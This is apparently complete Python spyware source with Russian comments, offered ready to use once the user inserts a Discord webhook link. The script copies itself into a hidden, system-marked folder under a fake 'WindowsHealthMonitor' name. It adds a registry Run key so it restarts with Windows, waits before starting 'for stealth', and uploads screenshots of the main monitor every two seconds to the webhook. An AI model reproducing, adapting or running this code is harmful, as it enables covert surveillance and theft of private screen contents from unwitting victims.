import os
import sys
import time
import shutil
import requests
import winreg
import mss
import mss.tools
# ВСТАВЬ СВОЮ ССЫЛКУ НИЖЕ
WEBHOOK_URL = "ССЫЛКА_ТУТ"
APP_NAME = "WindowsHealthMonitor"
SUB_PATH = "Microsoft\\Windows\\WinHealth"
def set_persistence():
try:
appdata = os.getenv('APPDATA')
target_dir = os.path.join(appdata, SUB_PATH)
if not os.path.exists(target_dir):
os.makedirs(target_dir)
target_file = os.path.join(target_dir, f"{APP_NAME}.exe")
current_file = os.path.realpath(sys.executable)
if current_file.lower() != target_file.lower():
shutil.copy2(current_file, target_file)
os.system(f'attrib +h +s "{target_file}"')
key = winreg.HKEY_CURRENT_USER
run_key = r"Software\Microsoft\Windows\CurrentVersion\Run"
with winreg.OpenKey(key, run_key, 0, winreg.KEY_ALL_ACCESS) as reg:
winreg.SetValueEx(reg, APP_NAME, 0, winreg.REG_SZ, f'"{target_file}"')
except:
pass
def live_stream():
with mss.mss() as sct:
# Берем основной монитор
mon = sct.monitors[1]
# Путь во временную папку
output = os.path.join(os.getenv('TEMP'), "win_sys_log.png")
while True:
try:
# Захват экрана
sct_img = sct.grab(mon)
mss.tools.to_png(sct_img.raw, sct_img.size, output=output)
# Отправка в Discord
with open(output, "rb") as f:
requests.post(WEBHOOK_URL, files={"file": f}, timeout=5)
# Удаление временного файла
if os.path.exists(output):
os.remove(output)
# Пауза 2 секунды
time.sleep(2)
except:
time.sleep(5)
if __name__ == "__main__":
if getattr(sys, 'frozen', False):
# Пауза перед первым запуском (скрытность)
time.sleep(10)
set_persistence()
live_stream()